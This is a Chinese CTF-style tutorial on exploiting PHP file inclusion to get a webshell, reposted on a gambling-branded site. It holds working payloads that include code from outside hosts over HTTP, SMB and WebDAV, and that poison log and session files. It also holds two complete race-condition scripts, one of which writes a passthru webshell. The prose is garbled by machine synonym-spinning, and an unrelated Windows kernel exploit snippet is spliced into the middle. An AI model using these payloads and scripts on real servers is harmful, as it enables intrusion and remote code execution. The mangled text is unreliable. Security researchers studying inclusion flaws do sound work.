浅析php文件包括及其getshell的姿态 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

浅析php文件包括及其getshell的姿态

申博_安全预警 申博 94次浏览 已收录 0个评论

浅析php文件包含及其getshell的姿态

0x1 媒介

不论日常平凡在打ctf或许代码审计的历程当中,文件包含都是很柔弱、很罕见的点,平常的开发人员能够以为文件包含没有什么大题目,低估其形成的伤害,我一个ctf爱好者也是这么以为的,直到近来打了几场ctf都涌现了文件包含的点,然后被残暴,才发明文件包含的运用面很广,所以就此盘算写篇文章来纪录下本身的进修历程。

0x2 熟悉和相识包含函数

PHP内里共有4个与文件包含相干的函数,分别是:

include  
require
include_once
require_once

检察相干函数的文档相识他们的差别

function.include.php

function.include-once.php

0x3 支撑的协媾和封装协定

经由过程function.include.php能够看到文件包含函数能够运用封装协定。

 

支撑的协媾和封装协定 //官方文档

  • file:// — 接见当地文件体系
  • http:// — 接见 HTTP(s) 网址
  • ftp:// — 接见 FTP(s) URLs
  • php:// — 接见各个输入/输出流(I/O streams)
  • zlib:// — 紧缩流
  • data:// — 数据(RFC 2397)
  • glob:// — 查找婚配的文件途径情势
  • phar:// — PHP 归档
  • ssh2:// — Secure Shell 2
  • rar:// — RAR
  • ogg:// — 音频流
  • expect:// — 处置惩罚交互式的流

这里重点讲下经常使用的伪协定:

  1. file://

    这个协定能够展示当地文件体系,默许目次是当前的事情目次。

    file:///path/to/file.ext 在文件包含中实在也就是等价/path/to/file.ext

    然则假如来个题目给你来个正则婚配..//开首的时刻就能够用这个要领来绕过了。

  2. php://

    (1)php://input是个能够接见要求的原始数据的只读流

    (2)php://filter 是一种元封装器, 设想用于数据流翻开时的挑选过滤运用

    罕见用法:

    可用过滤器列表 这内里列出了种种过滤器

    (1)
       readfile("http://www.example.com");
       等价于
       readfile("php://filter/resource=http://www.example.com");
    (2)
     读取链
      file_get_contents("php://filter/read=convert.base64-encode/resource=test.php");
     写入链
      file_put_contents("php://filter/write=convert.base64-decode/resource=[file]","base64");
      这个点在ctf有时刻会很有用,能够绕过一些waf
    

​ (3)php://input

​ 能够接见要求的原始数据的只读流, 将post要求中的数据作为PHP代码实行。

​ 有本身局限性:

​ allow_url_fopen :off/on (默许设置on)
​ allow_url_include:on (默许设置off)

背面那些能够看@Thinking 师傅整顿的一个小手册。

0x4 正文

下面经由过程构设场景然后处理题目标体式格局来举行剖析。

假定当前页面存在一个恣意文件包含破绽(无后缀限定),代码以下:

<?php
$file = $_GET['file'];
include($file);
?>

4.1 读取源代码

payload:php://filter/read=convert.base64-encode/resource=filename

测试:

http://127.0.0.1:8888/ctf/cli/3.php?file=php://filter/read=convert.base64-encode/resource=./3.php

历程: 读取文件内容->base64编码->php不剖析->显现base64编码

4.2 Getshell 思绪

由于当前我们能够包含文件,所以只需我们能掌握恣意文件内容即可。

0x4.2.1 allow_url_include 开启的状况

allow_url_include 默许环境在php5.2以后默以为off,所以说这个用法比较鸡肋,然则日常平凡在看phpinfo的时刻能够检察下这个是不是开启。

关于这个参数的文档引见: allow_url_include

allow_url_fopen 默许开启,所以我们能够经由过程运用长途url或许php://协定直接getshell

1.http://127.0.0.1:8888/ctf/cli/3.php?file=http://remote.com/shell.txt

2.http://127.0.0.1:8888/ctf/cli/3.php?file=php://input PostData:<?php phpinfo();?>

这里须要注重一点的是浏览器在传输历程会对一些特别字符举行url编码,所以我们能够运用burp绕过这一步

或许直接curl 敕令

curl -v "http://127.0.0.1:8888/ctf/cli/3.php?file=php://input" -d "<?php phpinfo();?>"

3.http://10.211.55.20:8081/test.php?file=data://text/plain;base64,PD9waHAgIHBocGluZm8oKTs/Pg==

经由过程data://协定能够直接剖析base64编码

0x4.2.2 allow_url_include 封闭双off的状况(window环境下)

就算纵然 allow_url_include and allow_url_fopen均为off 在window主机环境下依然能够举行长途文件实行

1:什么是UNC途径?UNC途径就是相似\softer如许的情势的网络途径。

2:UNC为网络(重要指局域网)上资本的完全Windows 2000称号。 注重重要这个字,所以说也支撑长途网络

花样:\servername\sharename,个中servername是效劳器名。sharename是同享资本的称号。

目次或文件的UNC称号能够包含同享称号下的目次途径,花样为:\servername\sharename\directory\filename。

2:unc同享就是指网络硬盘的同享

由于 allow_url_include 为off的时刻,php不会加载长途的http 或许 ftp的url,然则没有制止SMB的URL加载。

由于SMB share效劳器须要用UNC途径去接见,而Linux没有UNC途径所以这类要领只能在window下运用

运用1: UNC->SMB

运用历程:

阿里云的ubuntu机械上装置samba效劳。(失利,阿里云默许封闭了445等高危端口)

顺次实行以下敕令:

apt-get install samba

mkdir /var/www/html/pub/

chmod 0555 /var/www/html/pub/

chown -R nobody:nogroup /var/www/html/pub/

echo > /etc/samba/smb.conf

vim /etc/samba/smb.conf

写入以下内容:

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
​
[ethan]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody

然后重新启动SAMBA效劳器

service smbd restart

然后能够很遗憾通知你

然则445确实内部开启了,背面就算种种调安全策略也没用,能够看下这篇文章win7运用阿里云samba同享)

所以说要找台能开启445的机子,依据上面的步骤做就好了,(腾讯云maybe能够,然则我装置历程出了题目)

然后

http://127.0.0.1:8081/test.php?file=//47.101.46.179/1.php

就能够长途RCE了。

下面第二种要领能很好处理445端口被封杀(一是目标效劳器封杀 二是本身的vps封杀)的题目。

运用2: UNC->webdav

借用P神的要领疾速搭建webdav效劳器

一键启动一个webdav效劳器

docker run -v /root/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav
然后把php文件放到/root/webdav/data里就好了

接着直接接见:

http://127.0.0.1:8081/test.php?file=//47.101.46.179//webdav/1.php

能够看到直接长途包含胜利了。

0x4.2.3 尝试包含日记文件、环境文件等可控文件

这类运用体式格局实在在实战中是比较鸡肋的,由于默许的权限是不允许接见的,然则能够去尝试下。

不过假如主机是window体系,像phpstudy那种一键装置的都具有高权限,完全能够经由过程包含一些文件来getshell。

1.Linux 体系下

平常在Linux体系下经由过程apt-get install apache2 默许装置的apache 或许nginx都没有权限接见这些文件

关于linux权限题目能够参考鸟哥文章:第六章、Linux 的文件权限与目次设置)

root@VM-221-25-ubuntu:/var/log# ls -ll /var/log/apache2/access.log
-rw-r----- 1 root adm 0 May 18 06:25 /var/log/apache2/access.log

root@VM-221-25-ubuntu:/var/log# ls -ll /var/log/nginx/access.log
-rw-r----- 1 www-data adm 0 May 18 06:25 /var/log/nginx/access.log

root@VM-221-25-ubuntu:/var/log# ls -ll /var/log/
drwxr-xr-x 2 root   adm           4096 May 18 06:25 nginx

浅析php文件包括及其getshell的姿态

这里以/var/log/apache2/access.log为例子,文件具有者为root,所属群组为adm,root用户能够rw-,同群组用户r—只能够读。

而我们的php和apache2历程的user平常是www-data

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

root@VM-221-25-ubuntu:/var/log# groups www-data #检察用户所属的组
www-data : www-data

所以说没办法接见到这些文件到达RCE目标,然则有时刻有些管理员会由于轻易等题目致使权限设置毛病。

实在也能够fuzz下文件读取破绽途径网络

1.包含日记文件

经由过程burp接见:

1.http://127.0.0.1:8081/test.php?file=<?php phpinfo();?>

2.http://127.0.0.1:8081/test.php?file=../../../../../../../var/log/apache2/access.log

2.包含体系环境

linux(FreeBSD是没有这个的)下的/proc/self/environ 会猎取用户的UA

VM-221-25-ubuntu:/var/log# ls -al /proc/self/environ
-r-------- 1 root root 0 Jun 30 09:51 /proc/self/environ

这个实在有点意义,应当实战能够会涌现的情形,个人以为应当是httpd或许php的权限太高致使的。

Exploiting LFI to RCE /proc/self/environ with burpsuite:

2.window体系下

这个实战性照样很强的,所以这里我举行演示下,在默许phpstudy装置环境下怎样完成getshell

默许装置的时刻是没有开启日记纪录功用的也就是不存在 access.log

然则默许存在php error log

C:\phpStudy\Apache\logs\error.log是存在的

不能在浏览器上直接接见,由于浏览器会自动urlencode编码特别字符,所以运用的时刻要用burp去操纵

Windows Kernel Exploit (二)

0x00:前言 这是 Windows kernel exploit 系列的第二部分,前一篇我们讲了UAF的利用,这一篇我们通过内核空间的栈溢出来继续深入学习 Windows Kernel exploit ,看此文章之前你需要有以下准备: Windows 7 x86 sp1虚拟机 配置好windbg等调试工具,建议配合VirtualKD使用 HEVD+OSR Loader配合构造漏洞环境 0x01:漏洞原理 栈溢出原理 栈溢出是系列漏洞中最为基础的漏洞,如果你是一个 pwn 选手,第一个学的就是简单的栈溢出,栈溢出的原理比较简单,我的理解就是用户对自己申请的缓冲区大小没有一个很好的把控,导致缓冲区作为参数传入其他函数的时候可能覆盖到了不该覆盖的位置,比如 ebp,返回地址等,如果我们

1.接见不存在带有payload的文件

浅析php文件包括及其getshell的姿态

然后检察下

浅析php文件包括及其getshell的姿态发明胜利写入

http://127.0.0.1:8081/test.php?file=C:\phpStudy\Apache\logs\error.log然后直接getshell

浅析php文件包括及其getshell的姿态

0x4.2.4 存在上传图片等功用连系文件包含getshell

0x4.2.4.1 状况1 恣意文件包含
<?php
$file = $_GET['file'];
include($file);
?>

照样这类状况(恣意文件可控包含),这个时刻假如能够上传文件比方图片之类的,直接包含起来就好了。

http://127.0.0.1:8081/test.php?file=shell.png

浅析php文件包括及其getshell的姿态

0x4.2.4.2 状况2 限定后缀
<?php
$file = $_GET['file'].".php"; //限定只能包含php后缀的文件。
include($file);
?>

由于上传点只允许上传.jpg .png .gif后缀的图片,比方我们上传了 test.jpg

浅析php文件包括及其getshell的姿态

拼接以后就是: test.jpg.php这个文件一定不存在。

这个时刻我们就能够运用伪协定来举行绕过。

我们组织一个zip紧缩包:

就是写一个shell.php -> zip紧缩取得紧缩包,然后改名为shell.png,去上传

浅析php文件包括及其getshell的姿态

1.运用zip://协定

zip://与phar://的运用相似,然则须要绝对途径, zip文件背面要跟%23加zip文件里的文件

http://127.0.0.1:8081/test2.php?file=zip://C:/phpStudy/WWW/shell.png%23shell

浅析php文件包括及其getshell的姿态

2.运用phar://协定

这个也能够用前面的谁人紧缩包,不过不须要#去离开紧缩包内里的内容了,phar://协定是依据文件头去推断是不是是紧缩文件的,所以shell.png不会影响一般剖析出这个紧缩包。(这个在CTF竞赛中很罕见)

http://127.0.0.1:8081/test2.php?file=phar://shell.png/shell

浅析php文件包括及其getshell的姿态

  1. 运用截断绕过(老版本PHP)

    这个之前照样很罕见的,如今的话,运用很有限,这里就不去搭建环境测试了。

    援用l3mon师傅博客的写的总结。

    1. %00截断
      /etc/passwd%00
      (须要 magic_quotes_gpc=off,PHP小于5.3.4有用)
    2. %00截断目次遍历:
      /var/www/%00
      (须要 magic_quotes_gpc=off,unix文件体系,比方FreeBSD,OpenBSD,NetBSD,Solaris)
    3. 途径长度截断:
      /etc/passwd/././././././.[…]/./././././.
      (php版本小于5.2.8(?)能够胜利,linux须要文件名善于4096,windows须要善于256)
    4. 点号截断:
      /boot.ini/………[…]…………
      (php版本小于5.2.8(?)能够胜利,只有用windows,点号须要善于256)

0x4.2.5 phpinfo + 文件包含 getshell

这个是我想重点去研讨和剖析的tips,由于近来在打竞赛中有这个思绪,然则却碰到了一些题目。

起首我们能够相识下:

phpinfo(); 能够给我们供应什么信息。 参考下这篇文章: phpinfo中值得注重的信息

浅析php文件包括及其getshell的姿态

开首的内容能给我门供应许多信息(我画的红框内里)

经常使用:

system info 细致的操纵体系信息 肯定window or linux

Registered PHP Streams and filters 注册的php过滤器和流协定

extension_dir php扩大的途径

short_open_tag <? ?> <?= 和 <? echo 等价

disable_function 禁用函数

open_basedir 将用户可操纵的文件限定在某目次下

SERVER_ADDR 实在ip

DOCUMENT_ROOT web根目次

_FILES[“file”] 能够猎取临时文件名字和途径

session 能够检察session的相干设置

0x4.2.5.1 phpinfo-LFI 当地文件包含临时文件getshell

理论来说是通杀的,然则我在打国赛的时刻用剧本一向不胜利,debug以后肯定是运用前提比较刻薄,也多是效劳器处置惩罚机能比较好,没办法合作胜利。(背面我才发明原来是剧本多了个%00,下面的剧本我本身测试胜利的了)

实战案例: 自若网某营业文件包含致使敕令实行(LFI + PHPINFO getshell 实例

道理异常简朴:

我们组织一个上传表单的时刻,php也会天生一个对应的临时文件,这个文件的相干内容能够在phpinfo()的_FILE["file"]检察到,然则临时文件很快就会被删除,所以我们赶在临时文件被删除之前,包含临时文件就能够getshell了。

php处置惩罚流程timeline以下:

浅析php文件包括及其getshell的姿态

相干剧本(我本身修正了一下):

#!/usr/bin/python 
import sys
import threading
import socket

def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%s\r
<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>\r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
    padding="A" * 5000
    # 这里须要修正成phpinfo.php的地点
    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script   
    LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.find("[tmp_name] =&gt; ")
        fn = d[i+17:i+31]
        # print fn
    except ValueError:
        return None
    s2.send(lfireq % (fn, host))
    # print lfireq % (fn, host) #debug调试效果
    d = s2.recv(4096)
    # print d #检察回显是不是胜利
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock =  l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break                
                if x:
                    print "\nGot it! Shell created in /tmp/g"
                    self.event.set()

            except socket.error:
                return


def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)

    d = ""
    while True:
        i = s.recv(4096)
        d+=i        
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0\r\n\r\n"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")

    print "found %s at %i" % (d[i:i+10],i)
    # padded up a bit
    return i+256

def main():

    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)

    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",  
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot!  \m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "\nTelling threads to shutdown..."
        e.set()

    print "Shuttin' down..."
    for t in tp:
        t.join()

if __name__=="__main__":
    main()

当前环境:

http://127.0.0.1:8233/lfi.php?file=../../../etc/passwd 文件包含

http://127.0.0.1:8233/phpinfo.php

浅析php文件包括及其getshell的姿态

浅析php文件包括及其getshell的姿态

然后直接依据上面提醒修正剧本

重如果修正浅析php文件包括及其getshell的姿态

这个剧本的推断前提是Tag 所以不能少,能够去掉一些debug的解释检察顺序实行历程

浅析php文件包括及其getshell的姿态

然后实行下py

python lfi.py 127.0.0.1 8233 100

浅析php文件包括及其getshell的姿态

浅析php文件包括及其getshell的姿态

能够看到确实胜利了。

0x4.2.5.2 session + lfi getshell

包含session文件,我们须要相识

session.upload_progress

session.save_path   /var/lib/php/sessions   /var/lib/php/sessions //经由过程phpinfo猎取session存储途径

这些基础知识

官方文档以下: Session 上传进度

内里有句症结的话:

当一个上传在处置惩罚中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度能够在$_SESSION中取得

浅析php文件包括及其getshell的姿态

浅析php文件包括及其getshell的姿态

能够发明value的值能够掌握而且写入到了session文件内里,这就是致使破绽运用的缘由。

php默许设置申明:

默许开启session.upload_progress.enabled and session.upload_progress.cleanup

Cleanup the progress information as soon as all POST data has been read (i.e. upload completed). Defaults to 1, enabled. 一旦POST要求被读取完成,session内容就会被清空

浅析php文件包括及其getshell的姿态

进击流程:

1.组织上传表单(参考官方表单)

<form action="http://127.0.0.1:8233" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();?>" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>

没有上传时的session文件:

浅析php文件包括及其getshell的姿态

burp上传后:

浅析php文件包括及其getshell的姿态

浅析php文件包括及其getshell的姿态

能够看到天生响应文件名字的session,然则由于session.upload_progress.cleanup开启,读取完post内容时,session内容就会清空,所以我们须要用到前提合作,一向发送要求,然后一向包含。

2.运用burp举行前提合作

1.依据session组织途径

/var/lib/php/sessions/sess_PHPSESSID

也就是:

/var/lib/php/sessions/sess_07hm6245ia5h1fjcoqfmmq2vok

组织包含途径:

http://127.0.0.1:8233/lfi.php?file=/var/lib/php/sessions/sess_07hm6245ia5h1fjcoqfmmq2vok

然后burp举行爆破

浅析php文件包括及其getshell的姿态

浅析php文件包括及其getshell的姿态

payload设置NULL payloads

要求包含我设置5000次,上传我设置1000次(如许能够一边延续要求,然后一边天生)

浅析php文件包括及其getshell的姿态

浅析php文件包括及其getshell的姿态

能够看到胜利完成了包含

浅析php文件包括及其getshell的姿态

实在用burp照样比较贫苦的,这里能够用@wonderkun师傅的一个剧本

#!coding:utf-8

import requests
import time
import threading


host = 'http://127.0.0.1:8233/'
PHPSESSID = 'vrhtvjd4j1sd88onr92fm9t2gt'

def creatSession():
    while True:
        files = {
        "upload" : ("tmp.jpg", open("/etc/passwd", "rb"))
        }
        data = {"PHP_SESSION_UPLOAD_PROGRESS" : "<?php echo md5('1');?>" }
        headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
        r = requests.post(host,files = files,headers = headers,data=data)

fileName = "/var/lib/php/sessions/sess_"+PHPSESSID

if __name__ == '__main__':

    url = "{}/lfi.php?file={}".format(host,fileName)
    headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
    t = threading.Thread(target=creatSession,args=())
    t.setDaemon(True)
    t.start()
    while True:
        res = requests.get(url,headers=headers)
        if "c4ca4238a0b923820dcc509a6f75849b" in res.content:
            print("[*] Get shell success.")
            break
        else:
            print("[-] retry.")

浅析php文件包括及其getshell的姿态

0x5 总结

关于文件包含的我碰到的罕见运用基础都总结和供应响应的剧本在上面了,假如师傅们有其他弄法迎接与我一同交换。

 


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明浅析php文件包括及其getshell的姿态
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址